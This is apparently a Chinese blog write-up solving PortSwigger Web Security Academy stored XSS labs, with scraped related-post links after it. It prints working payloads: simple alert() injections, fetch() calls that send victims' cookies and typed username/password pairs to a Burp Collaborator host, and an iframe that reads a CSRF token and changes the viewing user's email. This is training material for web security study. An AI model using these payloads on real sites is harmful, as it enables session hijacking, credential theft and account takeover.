Portswigger web security academy:Stored XSS
Portswigger web security academy:Stored XSS
- Portswigger web security academy:Stored XSS
- Stored XSS into HTML context with nothing encoded
- Stored XSS into anchor href attribute with double quotes HTML-encoded
- Stored DOM XSS
- Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
- Exploiting cross-site scripting to steal cookies
- Exploiting cross-site scripting to capture passwords
- Exploiting XSS to perform CSRF
Stored XSS into HTML context with nothing encoded
题目要求
提交评论,调用
alert
函数解题过程
直接祖传payload就行
Stored XSS into anchor href
attribute with double quotes HTML-encoded
题目描述
评论功能点有存储型xss
要求当author name被点击的时候调用
alert
函数解题过程
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar"> <a id="author" href="https://test.test">name</a> | 24 May 2020
</p>
随便输个链接测试一下,发现输入的
website
被直接嵌入到了href
里构造payload:
javascript:alert()
Stored DOM XSS
题目描述
评论功能点有存储型dom-xss,调用
alert
函数即可解题过程
关键代码
function escapeHTML(html) {
return html.replace('<', '<').replace('>', '>');
}
let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
注意这里的
escapeHTML
函数的定义,使用了replace
函数,js的replace
函数有个特性,只会替换最开始出现的一个字符,所以构造payload:
<><img src=x onerror=alert()>
Stored XSS into onclick
event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
题目描述
评论功能点有存储型xss
要求当author name被点击的时候调用
alert
函数解题过程
这是上上道题的升级版,
<>
和"
会被HTML编码,'
和\
会被addslash关键代码
<a id="author" href="https://aaaaa\'"`\\" onclick="var tracker={track(){}};tracker.track('https://aaaaa\'"`\\');">asd</a>
可以看到website直接被嵌入到了
href
和onclick
,因为后端检测了url格式,所以href
无法进行xss看
onclick
,考虑如何闭合引号,注意到这里是html+js环境,所以可以使用HTML实体编码
/unicode编码
,但是\
会被addslash,所以只能用HTML实体编码
构造payload:
http://xss'-alert()-'
这里涉及到一个js的知识点,
eval('xss'-alert()
会弹窗,即js语境中,字符串与语句进行运算,会执行语句
Exploiting cross-site scripting to steal cookies
题目描述
博客评论点有存储型xss
要求盗取
cookie
并模拟被盗者身份解题步骤
这道题要用到
Burp Collaborator
,这是一个burp
自带的测试工具,贴一篇介绍简单来说就是一个用来接收并返回数据的接口,类似于自己搭的vps接收cookie
构造payload:
<script>
fetch('https://xxxxxx.burpcollaborator.net',{
method:'post',
body:document.cookie
});
</script>
放到评论区,然后在
Burp Collaborator Client
poll一下拿到cookie,再替换掉自己的cookie就可以
Exploiting cross-site scripting to capture passwords
题目描述
在博客评论点有存储型xss
要求盗取
username
和password
并登录解题过程
这道题参考了官方的solution,没有过盗取
username
和password
的思路<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://4glwxnk77bznm13y44j75a137udl1a.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
payload利用了
username
和password
接口,在用户访问页面时自动填写,这里有点脑洞题的感觉,因为这里的赋值是需要后台进行渲染,或者通过get传值的。但payload思路可以借鉴
Exploiting XSS to perform CSRF
题目描述
在评论点有存储型xss
要求修改查看评论的用户的邮件地址
解题过程
先登录给的账号,修改email,用burp看下数据包
关键部分
POST /email/change-email HTTP/1.1
Host: accf1faa1fa54c128098504e00910043.web-security-academy.net
Connection: close
Content-Length: 58
Origin: https://accf1faa1fa54c128098504e00910043.web-security-academy.net
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=hVm5TBng8eVK17OV1ulcF6IP5xbwzcu4 email=aaaa%40bbb.ccc&csrf=aIMl9DOIMdHZQ4qsl05r4dERRyrRzFm6
这里需要一个csrf token,所以要用到iframe
构造payload:(可行)
<iframe src='https://accf1faa1fa54c128098504e00910043.web-security-academy.net/email' name='xxx' onload="
var csrf = window.frames['xxx'].document.getElementsByName('csrf')[0].value;
fetch('https://accf1faa1fa54c128098504e00910043.web-security-academy.net/email/change-email',{
method:'post',
body:'email=aaa@bbb.ccc&csrf='+csrf
});">
</iframe>
Portswigger web security academy:Stored XSS的更多相关文章
- Portswigger web security academy:Reflected XSS
Portswigger web security academy:Reflected XSS 目录 Portswigger web security academy:Reflected XSS Ref ...
- Portswigger web security academy:DOM Based XSS
Portswigger web security academy:DOM Based XSS 目录 Portswigger web security academy:DOM Based XSS DOM ...
- Portswigger web security academy:WebSockets
Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...
- Portswigger web security academy:Clickjacking (UI redressing)
Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...
- Portswigger web security academy:Cross-origin resource sharing (CORS)
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
- Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...
- Portswigger web security academy:Cross-site request forgery (CSRF)
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
- Portswigger web security academy:OAth authentication vulnerable
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
- Portswigger web security academy:Server-side request forgery (SSRF)
Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...
随机推荐
- java 给时间增加时间得到一个新的时间(日期)
SimpleDateFormat df=new SimpleDateFormat("yyyy-MM-dd") LocalDate expirationDate String exp ...
- Java基础:特性write once;run anywhere!
三高:高可用 高性能 高并发 特性: 简单性 面向对象:万物皆为对象 可移植性 高性能 分布式 动态性 多线程 安全性 健壮性 Java三大版本 javaSE:标准版(桌面程序,控制台) javaME ...
- Everything about WSL 1 you want to know
关于 WSL 1 入门,你应该知道这些 如有错误,欢迎指出 参考: WSL 文档 VMware Workstation Pro 文档 概述 通过 WSL 2 来认识 WSL 1 什么是 WSL 2? ...
- P1303_A*B Problem(JAVA语言)
思路:BigInteger 三杀! //四行搞定 题目描述 求两数的积. 输入输出格式 输入格式: 两行,两个数. 输出格式: 积 输入输出样例 输入样例#1: 复制 1 2 输出样例#1: 复制 2 ...
- c++ 反汇编 if
1.debug if: 10: if (argc == 0) 0010711E 83 7D 08 00 cmp dword ptr [argc],0 00107122 75 11 jne If+35h ...
- 最小生成树(Prim算法,Kruskal算法 )
声明:图片及内容基于https://www.bilibili.com/video/BV1yp4y1Q74o?from=articleDetail 最小生成树原理 . 普利姆(Prim)算法 原理 Pr ...
- INTERSPEECH2020 语音情感分析论文之我见
摘要:本文为大家带来InterSpeech2020 语音情感分析25篇论文中的其中8篇的总结. 本文分享自华为云社区<INTERSPEECH2020 语音情感分析论文总结一>,原文作者:T ...
- [Fundamental of Power Electronics]-PART II-7. 交流等效电路建模-7.2 基本交流建模方法
7.2 基本交流建模方法 在本节中,PWM变换器的交流小信号模型导出步骤将被推导和解释.关键步骤是:(a)利用小纹波近似的动态版本,建立了与电感和电容波形的低频平均值相关的方程式,(b)平均方程的扰动 ...
- malloc函数详解 glibc2.27
malloc 函数分析(glibc.2.27) 本人菜一只,如果分析的有错误,请大佬指正. __libc_malloc函数分析 void * __libc_malloc (size_t bytes) ...
- IntelliJ IDEA/Android Studio插件开发指南
前言 目前在为安卓手机QQ做自动化的相关工作,包括UI自动化,逻辑层自动化等.使用到的uiautomator等框架,需要在Android Studio进行编码工作. 其中很多工作如果做到插件化的话,可 ...